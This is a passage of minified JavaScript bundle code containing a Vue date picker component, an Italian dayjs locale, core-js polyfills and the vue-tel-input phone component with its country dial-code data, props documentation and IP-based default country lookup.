tip-close\",t))}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)($),(t,n)=>({name:t,fn:(0,r.k6)(n=>[(0,r.RG)(e.$slots,t,(0,o._B)((0,r.Ng)({...n})))])}))]),1040,[\"class\",\"style\",\"open-on-top\",\"internal-model-value\",\"onRecalculatePosition\"])):(0,r.Q3)(\"\",!0)],8,[\"to\",\"disabled\"])):(0,r.Q3)(\"\",!0)],2))}}),wl=(()=>{const e=$l;return e.install=t=>{t.component(\"Vue3DatePicker\",e)},e})(),_l=Object.freeze(Object.defineProperty({__proto__:null,default:wl},Symbol.toStringTag,{value:\"Module\"}));Object.entries(_l).forEach(([e,t])=>{\"default\"!==e&&(wl[e]=t)})},397:function(e,t,n){\"use strict\";var r=n(7751);e.exports=r(\"document\",\"documentElement\")},410:function(e,t,n){!function(t,r){e.exports=r(n(8699))}(0,function(e){\"use strict\";function t(e){return e&&\"object\"==typeof e&&\"default\"in e?e:{default:e}}var n=t(e),r={name:\"it\",weekdays:\"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato\".split(\"_\"),weekdaysShort:\"dom_lun_mar_mer_gio_ven_sab\".split(\"_\"),weekdaysMin:\"do_lu_ma_me_gi_ve_sa\".split(\"_\"),months:\"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre\".split(\"_\"),weekStart:1,monthsShort:\"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic\".split(\"_\"),formats:{LT:\"HH:mm\",LTS:\"HH:mm:ss\",L:\"DD\u002FMM\u002FYYYY\",LL:\"D MMMM YYYY\",LLL:\"D MMMM YYYY HH:mm\",LLLL:\"dddd D MMMM YYYY HH:mm\"},relativeTime:{future:\"tra %s\",past:\"%s fa\",s:\"qualche secondo\",m:\"un minuto\",mm:\"%d minuti\",h:\"un'ora\",hh:\"%d ore\",d:\"un giorno\",dd:\"%d giorni\",M:\"un mese\",MM:\"%d mesi\",y:\"un anno\",yy:\"%d anni\"},ordinal:function(e){return e+\"º\"}};return n.default.locale(r,null,!0),r})},421:function(e){\"use strict\";e.exports={}},507:function(e,t,n){\"use strict\";var r=n(9565);e.exports=function(e,t,n){var a,o,i=n?e:e.iterator,l=e.next;while(!(a=r(l,i)).done)if(o=t(a.value),void 0!==o)return o}},516:function(e){\"use strict\";e.exports=\"object\"==typeof Deno&&Deno&&\"object\"==typeof Deno.version},616:function(e,t,n){\"use strict\";var r=n(9039);e.exports=!r(function(){var e=function(){}.bind();return\"function\"!=typeof e||e.hasOwnProperty(\"prototype\")})},655:function(e,t,n){\"use strict\";var r=n(6955),a=String;e.exports=function(e){if(\"Symbol\"===r(e))throw new TypeError(\"Cannot convert a Symbol value to a string\");return a(e)}},679:function(e,t,n){\"use strict\";var r=n(1625),a=TypeError;e.exports=function(e,t){if(r(t,e))return e;throw new a(\"Incorrect invocation\")}},713:function(e,t,n){\"use strict\";var r=n(9565),a=n(9306),o=n(8551),i=n(1767),l=n(9462),s=n(6319),u=l(function(){var e=this.iterator,t=o(r(this.next,e)),n=this.done=!!t.done;if(!n)return s(e,this.mapper,[t.value,this.counter++],!0)});e.exports=function(e){return o(this),a(e),new u(i(this),{mapper:e})}},741:function(e){\"use strict\";var t=Math.ceil,n=Math.floor;e.exports=Math.trunc||function(e){var r=+e;return(r>0?n:t)(r)}},757:function(e,t,n){\"use strict\";var r=n(7751),a=n(4901),o=n(1625),i=n(7040),l=Object;e.exports=i?function(e){return\"symbol\"==typeof e}:function(e){var t=r(\"Symbol\");return a(t)&&o(t.prototype,l(e))}},851:function(e,t,n){\"use strict\";var r=n(6955),a=n(5966),o=n(4117),i=n(6269),l=n(8227),s=l(\"iterator\");e.exports=function(e){if(!o(e))return a(e,s)||a(e,\"@@iterator\")||i[r(e)]}},944:function(e){\"use strict\";var t=TypeError;e.exports=function(e){var n=e&&e.alphabet;if(void 0===n||\"base64\"===n||\"base64url\"===n)return n||\"base64\";throw new t(\"Incorrect `alphabet` option\")}},1072:function(e,t,n){\"use strict\";var r=n(1828),a=n(8727);e.exports=Object.keys||function(e){return r(e,a)}},1108:function(e,t,n){\"use strict\";var r=n(6955);e.exports=function(e){var t=r(e);return\"BigInt64Array\"===t||\"BigUint64Array\"===t}},1181:function(e,t,n){\"use strict\";var r,a,o,i=n(8622),l=n(4475),s=n(34),u=n(6699),d=n(9297),c=n(7629),f=n(6119),p=n(421),h=\"Object already initialized\",v=l.TypeError,m=l.WeakMap,g=function(e){return o(e)?a(e):r(e,{})},y=function(e){return function(t){var n;if(!s(t)||(n=a(t)).type!==e)throw new v(\"Incompatible receiver, \"+e+\" required\");return n}};if(i||c.state){var b=c.state||(c.state=new m);b.get=b.get,b.has=b.has,b.set=b.set,r=function(e,t){if(b.has(e))throw new v(h);return t.facade=e,b.set(e,t),t},a=function(e){return b.get(e)||{}},o=function(e){return b.has(e)}}else{var $=f(\"state\");p[$]=!0,r=function(e,t){if(d(e,$))throw new v(h);return t.facade=e,u(e,$,t),t},a=function(e){return d(e,$)?e[$]:{}},o=function(e){return d(e,$)}}e.exports={set:r,get:a,has:o,enforce:g,getterFor:y}},1291:function(e,t,n){\"use strict\";var r=n(741);e.exports=function(e){var t=+e;return t!==t||0===t?0:r(t)}},1341:function(e,t,n){\"use strict\";n.d(t,{A:function(){return jn}});n(4114),n(8992),n(4520),n(2577),n(3949),n(1454),n(7550);var r=n(1469),a=n(6436),o=n(7959);const i=[[\"Afghanistan (‫افغانستان‬‎)\",\"af\",\"93\"],[\"Albania (Shqipëri)\",\"al\",\"355\"],[\"Algeria (‫الجزائر‬‎)\",\"dz\",\"213\"],[\"American Samoa\",\"as\",\"1\",5,[\"684\"]],[\"Andorra\",\"ad\",\"376\"],[\"Angola\",\"ao\",\"244\"],[\"Anguilla\",\"ai\",\"1\",6,[\"264\"]],[\"Antigua and Barbuda\",\"ag\",\"1\",7,[\"268\"]],[\"Argentina\",\"ar\",\"54\"],[\"Armenia (Հայաստան)\",\"am\",\"374\"],[\"Aruba\",\"aw\",\"297\"],[\"Ascension Island\",\"ac\",\"247\"],[\"Australia\",\"au\",\"61\",0],[\"Austria (Österreich)\",\"at\",\"43\"],[\"Azerbaijan (Azərbaycan)\",\"az\",\"994\"],[\"Bahamas\",\"bs\",\"1\",8,[\"242\"]],[\"Bahrain (‫البحرين‬‎)\",\"bh\",\"973\"],[\"Bangladesh (বাংলাদেশ)\",\"bd\",\"880\"],[\"Barbados\",\"bb\",\"1\",9,[\"246\"]],[\"Belarus (Беларусь)\",\"by\",\"375\"],[\"Belgium (België)\",\"be\",\"32\"],[\"Belize\",\"bz\",\"501\"],[\"Benin (Bénin)\",\"bj\",\"229\"],[\"Bermuda\",\"bm\",\"1\",10,[\"441\"]],[\"Bhutan (འབྲུག)\",\"bt\",\"975\"],[\"Bolivia\",\"bo\",\"591\"],[\"Bosnia and Herzegovina (Босна и Херцеговина)\",\"ba\",\"387\"],[\"Botswana\",\"bw\",\"267\"],[\"Brazil (Brasil)\",\"br\",\"55\"],[\"British Indian Ocean Territory\",\"io\",\"246\"],[\"British Virgin Islands\",\"vg\",\"1\",11,[\"284\"]],[\"Brunei\",\"bn\",\"673\"],[\"Bulgaria (България)\",\"bg\",\"359\"],[\"Burkina Faso\",\"bf\",\"226\"],[\"Burundi (Uburundi)\",\"bi\",\"257\"],[\"Cambodia (កម្ពុជា)\",\"kh\",\"855\"],[\"Cameroon (Cameroun)\",\"cm\",\"237\"],[\"Canada\",\"ca\",\"1\",1,[\"204\",\"226\",\"236\",\"249\",\"250\",\"263\",\"289\",\"306\",\"343\",\"354\",\"365\",\"367\",\"368\",\"382\",\"387\",\"403\",\"416\",\"418\",\"428\",\"431\",\"437\",\"438\",\"450\",\"584\",\"468\",\"474\",\"506\",\"514\",\"519\",\"548\",\"579\",\"581\",\"584\",\"587\",\"604\",\"613\",\"639\",\"647\",\"672\",\"683\",\"705\",\"709\",\"742\",\"753\",\"778\",\"780\",\"782\",\"807\",\"819\",\"825\",\"867\",\"873\",\"902\",\"905\"]],[\"Cape Verde (Kabu Verdi)\",\"cv\",\"238\"],[\"Caribbean Netherlands\",\"bq\",\"599\",1,[\"3\",\"4\",\"7\"]],[\"Cayman Islands\",\"ky\",\"1\",12,[\"345\"]],[\"Central African Republic (République centrafricaine)\",\"cf\",\"236\"],[\"Chad (Tchad)\",\"td\",\"235\"],[\"Chile\",\"cl\",\"56\"],[\"China (中国)\",\"cn\",\"86\"],[\"Christmas Island\",\"cx\",\"61\",2,[\"89164\"]],[\"Cocos (Keeling) Islands\",\"cc\",\"61\",1,[\"89162\"]],[\"Colombia\",\"co\",\"57\"],[\"Comoros (‫جزر القمر‬‎)\",\"km\",\"269\"],[\"Congo (DRC) (Jamhuri ya Kidemokrasia ya Kongo)\",\"cd\",\"243\"],[\"Congo (Republic) (Congo-Brazzaville)\",\"cg\",\"242\"],[\"Cook Islands\",\"ck\",\"682\"],[\"Costa Rica\",\"cr\",\"506\"],[\"Côte d’Ivoire\",\"ci\",\"225\"],[\"Croatia (Hrvatska)\",\"hr\",\"385\"],[\"Cuba\",\"cu\",\"53\"],[\"Curaçao\",\"cw\",\"599\",0],[\"Cyprus (Κύπρος)\",\"cy\",\"357\"],[\"Czech Republic (Česká republika)\",\"cz\",\"420\"],[\"Denmark (Danmark)\",\"dk\",\"45\"],[\"Djibouti\",\"dj\",\"253\"],[\"Dominica\",\"dm\",\"1\",13,[\"767\"]],[\"Dominican Republic (República Dominicana)\",\"do\",\"1\",2,[\"809\",\"829\",\"849\"]],[\"Ecuador\",\"ec\",\"593\"],[\"Egypt (‫مصر‬‎)\",\"eg\",\"20\"],[\"El Salvador\",\"sv\",\"503\"],[\"Equatorial Guinea (Guinea Ecuatorial)\",\"gq\",\"240\"],[\"Eritrea\",\"er\",\"291\"],[\"Estonia (Eesti)\",\"ee\",\"372\"],[\"Eswatini\",\"sz\",\"268\"],[\"Ethiopia\",\"et\",\"251\"],[\"Falkland Islands (Islas Malvinas)\",\"fk\",\"500\"],[\"Faroe Islands (Føroyar)\",\"fo\",\"298\"],[\"Fiji\",\"fj\",\"679\"],[\"Finland (Suomi)\",\"fi\",\"358\",0],[\"France\",\"fr\",\"33\"],[\"French Guiana (Guyane française)\",\"gf\",\"594\"],[\"French Polynesia (Polynésie française)\",\"pf\",\"689\"],[\"Gabon\",\"ga\",\"241\"],[\"Gambia\",\"gm\",\"220\"],[\"Georgia (საქართველო)\",\"ge\",\"995\"],[\"Germany (Deutschland)\",\"de\",\"49\"],[\"Ghana (Gaana)\",\"gh\",\"233\"],[\"Gibraltar\",\"gi\",\"350\"],[\"Greece (Ελλάδα)\",\"gr\",\"30\"],[\"Greenland (Kalaallit Nunaat)\",\"gl\",\"299\"],[\"Grenada\",\"gd\",\"1\",14,[\"473\"]],[\"Guadeloupe\",\"gp\",\"590\",0],[\"Guam\",\"gu\",\"1\",15,[\"671\"]],[\"Guatemala\",\"gt\",\"502\"],[\"Guernsey\",\"gg\",\"44\",1,[\"1481\",\"7781\",\"7839\",\"7911\"]],[\"Guinea (Guinée)\",\"gn\",\"224\"],[\"Guinea-Bissau (Guiné Bissau)\",\"gw\",\"245\"],[\"Guyana\",\"gy\",\"592\"],[\"Haiti\",\"ht\",\"509\"],[\"Honduras\",\"hn\",\"504\"],[\"Hong Kong (香港)\",\"hk\",\"852\"],[\"Hungary (Magyarország)\",\"hu\",\"36\"],[\"Iceland (Ísland)\",\"is\",\"354\"],[\"India (भारत)\",\"in\",\"91\"],[\"Indonesia\",\"id\",\"62\"],[\"Iran (‫ایران‬‎)\",\"ir\",\"98\"],[\"Iraq (‫العراق‬‎)\",\"iq\",\"964\"],[\"Ireland\",\"ie\",\"353\"],[\"Isle of Man\",\"im\",\"44\",2,[\"1624\",\"74576\",\"7524\",\"7924\",\"7624\"]],[\"Israel (‫ישראל‬‎)\",\"il\",\"972\"],[\"Italy (Italia)\",\"it\",\"39\",0],[\"Jamaica\",\"jm\",\"1\",4,[\"876\",\"658\"]],[\"Japan (日本)\",\"jp\",\"81\"],[\"Jersey\",\"je\",\"44\",3,[\"1534\",\"7509\",\"7700\",\"7797\",\"7829\",\"7937\"]],[\"Jordan (‫الأردن‬‎)\",\"jo\",\"962\"],[\"Kazakhstan (Казахстан)\",\"kz\",\"7\",1,[\"33\",\"7\"]],[\"Kenya\",\"ke\",\"254\"],[\"Kiribati\",\"ki\",\"686\"],[\"Kosovo\",\"xk\",\"383\"],[\"Kuwait (‫الكويت‬‎)\",\"kw\",\"965\"],[\"Kyrgyzstan (Кыргызстан)\",\"kg\",\"996\"],[\"Laos (ລາວ)\",\"la\",\"856\"],[\"Latvia (Latvija)\",\"lv\",\"371\"],[\"Lebanon (‫لبنان‬‎)\",\"lb\",\"961\"],[\"Lesotho\",\"ls\",\"266\"],[\"Liberia\",\"lr\",\"231\"],[\"Libya (‫ليبيا‬‎)\",\"ly\",\"218\"],[\"Liechtenstein\",\"li\",\"423\"],[\"Lithuania (Lietuva)\",\"lt\",\"370\"],[\"Luxembourg\",\"lu\",\"352\"],[\"Macau (澳門)\",\"mo\",\"853\"],[\"Madagascar (Madagasikara)\",\"mg\",\"261\"],[\"Malawi\",\"mw\",\"265\"],[\"Malaysia\",\"my\",\"60\"],[\"Maldives\",\"mv\",\"960\"],[\"Mali\",\"ml\",\"223\"],[\"Malta\",\"mt\",\"356\"],[\"Marshall Islands\",\"mh\",\"692\"],[\"Martinique\",\"mq\",\"596\"],[\"Mauritania (‫موريتانيا‬‎)\",\"mr\",\"222\"],[\"Mauritius (Moris)\",\"mu\",\"230\"],[\"Mayotte\",\"yt\",\"262\",1,[\"269\",\"639\"]],[\"Mexico (México)\",\"mx\",\"52\"],[\"Micronesia\",\"fm\",\"691\"],[\"Moldova (Republica Moldova)\",\"md\",\"373\"],[\"Monaco\",\"mc\",\"377\"],[\"Mongolia (Монгол)\",\"mn\",\"976\"],[\"Montenegro (Crna Gora)\",\"me\",\"382\"],[\"Montserrat\",\"ms\",\"1\",16,[\"664\"]],[\"Morocco (‫المغرب‬‎)\",\"ma\",\"212\",0],[\"Mozambique (Moçambique)\",\"mz\",\"258\"],[\"Myanmar (Burma) (မြန်မာ)\",\"mm\",\"95\"],[\"Namibia (Namibië)\",\"na\",\"264\"],[\"Nauru\",\"nr\",\"674\"],[\"Nepal (नेपाल)\",\"np\",\"977\"],[\"Netherlands (Nederland)\",\"nl\",\"31\"],[\"New Caledonia (Nouvelle-Calédonie)\",\"nc\",\"687\"],[\"New Zealand\",\"nz\",\"64\"],[\"Nicaragua\",\"ni\",\"505\"],[\"Niger (Nijar)\",\"ne\",\"227\"],[\"Nigeria\",\"ng\",\"234\"],[\"Niue\",\"nu\",\"683\"],[\"Norfolk Island\",\"nf\",\"672\"],[\"North Korea (조선 민주주의 인민 공화국)\",\"kp\",\"850\"],[\"North Macedonia (Северна Македонија)\",\"mk\",\"389\"],[\"Northern Mariana Islands\",\"mp\",\"1\",17,[\"670\"]],[\"Norway (Norge)\",\"no\",\"47\",0],[\"Oman (‫عُمان‬‎)\",\"om\",\"968\"],[\"Pakistan (‫پاکستان‬‎)\",\"pk\",\"92\"],[\"Palau\",\"pw\",\"680\"],[\"Palestine (‫فلسطين‬‎)\",\"ps\",\"970\"],[\"Panama (Panamá)\",\"pa\",\"507\"],[\"Papua New Guinea\",\"pg\",\"675\"],[\"Paraguay\",\"py\",\"595\"],[\"Peru (Perú)\",\"pe\",\"51\"],[\"Philippines\",\"ph\",\"63\"],[\"Poland (Polska)\",\"pl\",\"48\"],[\"Portugal\",\"pt\",\"351\"],[\"Puerto Rico\",\"pr\",\"1\",3,[\"787\",\"939\"]],[\"Qatar (‫قطر‬‎)\",\"qa\",\"974\"],[\"Réunion (La Réunion)\",\"re\",\"262\",0],[\"Romania (România)\",\"ro\",\"40\"],[\"Russia (Россия)\",\"ru\",\"7\",0],[\"Rwanda\",\"rw\",\"250\"],[\"Saint Barthélemy\",\"bl\",\"590\",1],[\"Saint Helena\",\"sh\",\"290\"],[\"Saint Kitts and Nevis\",\"kn\",\"1\",18,[\"869\"]],[\"Saint Lucia\",\"lc\",\"1\",19,[\"758\"]],[\"Saint Martin (Saint-Martin (partie française))\",\"mf\",\"590\",2],[\"Saint Pierre and Miquelon (Saint-Pierre-et-Miquelon)\",\"pm\",\"508\"],[\"Saint Vincent and the Grenadines\",\"vc\",\"1\",20,[\"784\"]],[\"Samoa\",\"ws\",\"685\"],[\"San Marino\",\"sm\",\"378\"],[\"São Tomé and Príncipe (São Tomé e Príncipe)\",\"st\",\"239\"],[\"Saudi Arabia (‫المملكة العربية السعودية‬‎)\",\"sa\",\"966\"],[\"Senegal (Sénégal)\",\"sn\",\"221\"],[\"Serbia (Србија)\",\"rs\",\"381\"],[\"Seychelles\",\"sc\",\"248\"],[\"Sierra Leone\",\"sl\",\"232\"],[\"Singapore\",\"sg\",\"65\"],[\"Sint Maarten\",\"sx\",\"1\",21,[\"721\"]],[\"Slovakia (Slovensko)\",\"sk\",\"421\"],[\"Slovenia (Slovenija)\",\"si\",\"386\"],[\"Solomon Islands\",\"sb\",\"677\"],[\"Somalia (Soomaaliya)\",\"so\",\"252\"],[\"South Africa\",\"za\",\"27\"],[\"South Korea (대한민국)\",\"kr\",\"82\"],[\"South Sudan (‫جنوب السودان‬‎)\",\"ss\",\"211\"],[\"Spain (España)\",\"es\",\"34\"],[\"Sri Lanka (ශ්‍රී ලංකාව)\",\"lk\",\"94\"],[\"Sudan (‫السودان‬‎)\",\"sd\",\"249\"],[\"Suriname\",\"sr\",\"597\"],[\"Svalbard and Jan Mayen\",\"sj\",\"47\",1,[\"79\"]],[\"Sweden (Sverige)\",\"se\",\"46\"],[\"Switzerland (Schweiz)\",\"ch\",\"41\"],[\"Syria (‫سوريا‬‎)\",\"sy\",\"963\"],[\"Taiwan (台灣)\",\"tw\",\"886\"],[\"Tajikistan\",\"tj\",\"992\"],[\"Tanzania\",\"tz\",\"255\"],[\"Thailand (ไทย)\",\"th\",\"66\"],[\"Timor-Leste\",\"tl\",\"670\"],[\"Togo\",\"tg\",\"228\"],[\"Tokelau\",\"tk\",\"690\"],[\"Tonga\",\"to\",\"676\"],[\"Trinidad and Tobago\",\"tt\",\"1\",22,[\"868\"]],[\"Tunisia (‫تونس‬‎)\",\"tn\",\"216\"],[\"Turkey (Türkiye)\",\"tr\",\"90\"],[\"Turkmenistan\",\"tm\",\"993\"],[\"Turks and Caicos Islands\",\"tc\",\"1\",23,[\"649\"]],[\"Tuvalu\",\"tv\",\"688\"],[\"U.S. Virgin Islands\",\"vi\",\"1\",24,[\"340\"]],[\"Uganda\",\"ug\",\"256\"],[\"Ukraine (Україна)\",\"ua\",\"380\"],[\"United Arab Emirates (‫الإمارات العربية المتحدة‬‎)\",\"ae\",\"971\"],[\"United Kingdom\",\"gb\",\"44\",0],[\"United States\",\"us\",\"1\",0],[\"Uruguay\",\"uy\",\"598\"],[\"Uzbekistan (Oʻzbekiston)\",\"uz\",\"998\"],[\"Vanuatu\",\"vu\",\"678\"],[\"Vatican City (Città del Vaticano)\",\"va\",\"39\",1,[\"06698\"]],[\"Venezuela\",\"ve\",\"58\"],[\"Vietnam (Việt Nam)\",\"vn\",\"84\"],[\"Wallis and Futuna (Wallis-et-Futuna)\",\"wf\",\"681\"],[\"Western Sahara (‫الصحراء الغربية‬‎)\",\"eh\",\"212\",1,[\"5288\",\"5289\"]],[\"Yemen (‫اليمن‬‎)\",\"ye\",\"967\"],[\"Zambia\",\"zm\",\"260\"],[\"Zimbabwe\",\"zw\",\"263\"],[\"Åland Islands\",\"ax\",\"358\",1,[\"18\"]]],l=i.map(([e,t,n,r=0,a=null])=>({name:e,iso2:t.toUpperCase(),dialCode:n,priority:r,areaCodes:a}));function s(){return fetch(\"https:\u002F\u002Fip2c.org\u002Fs\").then(e=>e.text()).then(e=>{const t=(e||\"\").toString();if(!t||\"1\"!==t[0])throw new Error(\"unable to fetch the country\");return t.substr(2,2)})}function u(e,t){if(e.setSelectionRange)e.focus(),e.setSelectionRange(t,t);else if(e.createTextRange){const n=e.createTextRange();n.collapse(!0),n.moveEnd(\"character\",t),n.moveStart(\"character\",t),n.select()}}const d=[{name:\"allCountries\",type:Array,default:l,description:\"All countries that are used in \u003Ccode>libphonenumber-js\u003C\u002Fcode>, can be overridden by this prop\",inDemo:!1},{name:\"autoFormat\",type:Boolean,default:!0,description:\"Auto update the input to the formatted phone number when it's valid\",inDemo:!0},{name:\"customValidate\",type:[Boolean,RegExp],default:!1,description:\"Custom validation RegExp for input\",inDemo:!1},{name:\"defaultCountry\",default:\"\",type:[String,Number],description:\"Default country (by iso2 or dialCode), will override the country fetched from IP address of user\",inDemo:!1},{name:\"disabled\",default:!1,type:Boolean,description:\"Disable \u003Ccode>vue-tel-input\u003C\u002Fcode>, including the input & flag dropdown\",inDemo:!1},{name:\"autoDefaultCountry\",default:!0,type:Boolean,description:\"To fetch default country based on IP address of user\",inDemo:!1},{name:\"dropdownOptions\",type:Object,description:\"Options for dropdown, see below\",inDemo:!1},{name:\"dropdownOptions.disabled\",default:!1,type:Boolean,description:\"Disable dropdown\",inDemo:!1},{name:\"dropdownOptions.showDialCodeInList\",default:!0,type:Boolean,description:\"Show dial code in the dropdown list\",inDemo:!0},{name:\"dropdownOptions.showDialCodeInSelection\",default:!1,type:Boolean,description:\"Show dial code in the dropdown selection\",inDemo:!0},{name:\"dropdownOptions.showFlags\",default:!0,type:Boolean,description:\"Show flags in the dropdown selection and list\",inDemo:!0},{name:\"dropdownOptions.showSearchBox\",default:!1,type:Boolean,description:\"Show country search box\",inDemo:!0},{name:\"dropdownOptions.tabindex\",default:0,type:Number,description:\"Native dropdown \u003Ccode>tabindex\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"ignoredCountries\",default:[],type:Array,description:\"List of countries will NOT be shown on the dropdown\",inDemo:!1},{name:\"inputOptions\",type:Object,description:\"Options for input, see below\",inDemo:!1},{name:\"inputOptions.autocomplete\",type:String,default:\"on\",description:\"Native input \u003Ccode>autocomplete\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.autofocus\",type:Boolean,default:!1,description:\"Native input \u003Ccode>autofocus\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.aria-describedby\",default:\"\",type:String,description:\"Native input \u003Ccode>aria-describedby\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.id\",default:\"\",type:String,description:\"Native input \u003Ccode>id\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.maxlength\",default:25,type:Number,description:\"Native input \u003Ccode>maxlength\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.name\",default:\"telephone\",type:String,description:\"Native input \u003Ccode>name\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.showDialCode\",default:!1,type:Boolean,description:\"Show dial code in input\",inDemo:!1},{name:\"inputOptions.placeholder\",default:\"Enter a phone number\",type:String,description:\"Placeholder for the input\",inDemo:!1},{name:\"inputOptions.readonly\",default:!1,type:Boolean,description:\"Native input \u003Ccode>readonly\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.required\",default:!1,type:Boolean,description:\"Native input \u003Ccode>required\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.tabindex\",default:0,type:Number,description:\"Native input \u003Ccode>tabindex\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.type\",default:\"tel\",type:String,description:\"Native input \u003Ccode>type\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.styleClasses\",default:\"\",type:[String,Array,Object],description:\"Custom classes for the \u003Ccode>input\u003C\u002Fcode>\",inDemo:!1},{name:\"invalidMsg\",default:\"\",type:String,description:\"\",inDemo:!1},{name:\"mode\",default:\"auto\",type:String,description:\"Allowed values: \u003Ccode>'auto'\u003C\u002Fcode> (Default set by phone),  \u003Ccode>'international'\u003C\u002Fcode> (Format number with the dial code i.e. + 61), \u003Ccode>'national'\u003C\u002Fcode> (Format number without dial code i.e. 0321232)\",inDemo:!0,options:[\"auto\",\"national\",\"international\"]},{name:\"onlyCountries\",default:[],type:Array,description:\"List of countries will be shown on the dropdown\",inDemo:!1},{name:\"preferredCountries\",default:[],type:Array,description:\"Preferred countries list, will be on top of the dropdown\",inDemo:!1},{name:\"styleClasses\",default:\"\",type:[String,Array,Object],description:\"Custom classes for the wrapper\",inDemo:!1},{name:\"validCharactersOnly\",default:!1,type:Boolean,description:\"Only allow valid characters in a phone number (will also verify in \u003Ccode>mounted\u003C\u002Fcode>, so phone number with invalid characters will be shown as an empty string)\",inDemo:!1}],c=[...d].reduce((e,t)=>{if(t.name.includes(\".\")){const[n,r]=t.name.split(\".\");e[n]?Object.assign(e[n],{[r]:t.default}):Object.assign(e,{[n]:{[r]:t.default}})}else Object.assign(e,{[t.name]:t.default});return e},{}),f={options:{...c}},p={version:4,country_calling_codes:{1:[\"US\",\"AG\",\"AI\",\"AS\",\"BB\",\"BM\",\"BS\",\"CA\",\"DM\",\"DO\",\"GD\",\"GU\",\"JM\",\"KN\",\"KY\",\"LC\",\"MP\",\"MS\",\"PR\",\"SX\",\"TC\",\"TT\",\"VC\",\"VG\",\"VI\"],7:[\"RU\",\"KZ\"],20:[\"EG\"],27:[\"ZA\"],30:[\"GR\"],31:[\"NL\"],32:[\"BE\"],33:[\"FR\"],34:[\"ES\"],36:[\"HU\"],39:[\"IT\",\"VA\"],40:[\"RO\"],41:[\"CH\"],43:[\"AT\"],44:[\"GB\",\"GG\",\"IM\",\"JE\"],45:[\"DK\"],46:[\"SE\"],47:[\"NO\",\"SJ\"],48:[\"PL\"],49:[\"DE\"],51:[\"PE\"],52:[\"MX\"],53:[\"CU\"],54:[\"AR\"],55:[\"BR\"],56:[\"CL\"],57:[\"CO\"],58:[\"VE\"],60:[\"MY\"],61:[\"AU\",\"CC\",\"CX\"],62:[\"ID\"],63:[\"PH\"],64:[\"NZ\"],65:[\"SG\"],66:[\"TH\"],81:[\"JP\"],82:[\"KR\"],84:[\"VN\"],86:[\"CN\"],90:[\"TR\"],91:[\"IN\"],92:[\"PK\"],93:[\"AF\"],94:[\"LK\"],95:[\"MM\"],98:[\"IR\"],211:[\"SS\"],212:[\"MA\",\"EH\"],213:[\"DZ\"],216:[\"TN\"],218:[\"LY\"],220:[\"GM\"],221:[\"SN\"],222:[\"MR\"],223:[\"ML\"],224:[\"GN\"],225:[\"CI\"],226:[\"BF\"],227:[\"NE\"],228:[\"TG\"],229:[\"BJ\"],230:[\"MU\"],231:[\"LR\"],232:[\"SL\"],233:[\"GH\"],234:[\"NG\"],235:[\"TD\"],236:[\"CF\"],237:[\"CM\"],238:[\"CV\"],239:[\"ST\"],240:[\"GQ\"],241:[\"GA\"],242:[\"CG\"],243:[\"CD\"],244:[\"AO\"],245:[\"GW\"],246:[\"IO\"],247:[\"AC\"],248:[\"SC\"],249:[\"SD\"],250:[\"RW\"],251:[\"ET\"],252:[\"SO\"],253:[\"DJ\"],254:[\"KE\"],255:[\"TZ\"],256:[\"UG\"],257:[\"BI\"],258:[\"MZ\"],260:[\"ZM\"],261:[\"MG\"],262:[\"RE\",\"YT\"],263:[\"ZW\"],264:[\"NA\"],265:[\"MW\"],266:[\"LS\"],267:[\"BW\"],268:[\"SZ\"],269:[\"KM\"],290:[\"SH\",\"TA\"],291:[\"ER\"],297:[\"AW\"],298:[\"FO\"],299:[\"GL\"],350:[\"GI\"],351:[\"PT\"],352:[\"LU\"],353:[\"IE\"],354:[\"IS\"],355:[\"AL\"],356:[\"MT\"],357:[\"CY\"],358:[\"FI\",\"AX\"],359:[\"BG\"],370:[\"LT\"],371:[\"LV\"],372:[\"EE\"],373:[\"MD\"],374:[\"AM\"],375:[\"BY\"],376:[\"AD\"],377:[\"MC\"],378:[\"SM\"],380:[\"UA\"],381:[\"RS\"],382:[\"ME\"],383:[\"XK\"],385:[\"HR\"],386:[\"SI\"],387:[\"BA\"],389:[\"MK\"],420:[\"CZ\"],421:[\"SK\"],423:[\"LI\"],500:[\"FK\"],501:[\"BZ\"],502:[\"GT\"],503:[\"SV\"],504:[\"HN\"],505:[\"NI\"],506:[\"CR\"],507:[\"PA\"],508:[\"PM\"],509:[\"HT\"],590:[\"GP\",\"BL\",\"MF\"],591:[\"BO\"],592:[\"GY\"],593:[\"EC\"],594:[\"GF\"],595:[\"PY\"],596:[\"MQ\"],597:[\"SR\"],598:[\"UY\"],599:[\"CW\",\"BQ\"],670:[\"TL\"],672:[\"NF\"],673:[\"BN\"],674:[\"NR\"],675:[\"PG\"],676:[\"TO\"],677:[\"SB\"],678:[\"VU\"],679:[\"FJ\"],680:[\"PW\"],681:[\"WF\"],682:[\"CK\"],683:[\"NU\"],685:[\"WS\"],686:[\"KI\"],687:[\"NC\"],688:[\"TV\"],689:[\"PF\"],690:[\"TK\"],691:[\"FM\"],692:[\"MH\"],850:[\"KP\"],852:[\"HK\"],853:[\"MO\"],855:[\"KH\"],856:[\"LA\"],880:[\"BD\"],886:[\"TW\"],960:[\"MV\"],961:[\"LB\"],962:[\"JO\"],963:[\"SY\"],964:[\"IQ\"],965:[\"KW\"],966:[\"SA\"],967:[\"YE\"],968:[\"OM\"],970:[\"PS\"],971:[\"AE\"],972:[\"IL\"],973:[\"BH\"],974:[\"QA\"],975:[\"BT\"],976:[\"MN\"],977:[\"NP\"],992:[\"TJ\"],993:[\"TM\"],994:[\"AZ\"],995:[\"GE\"],996:[\"KG\"],998:[\"UZ\"]},countries:{AC:[\"247\",\"00\",\"(?:[01589]\\\\d|[46])\\\\d{4}\",[5,6]],AD:[\"376\",\"00\",\"(?:1|6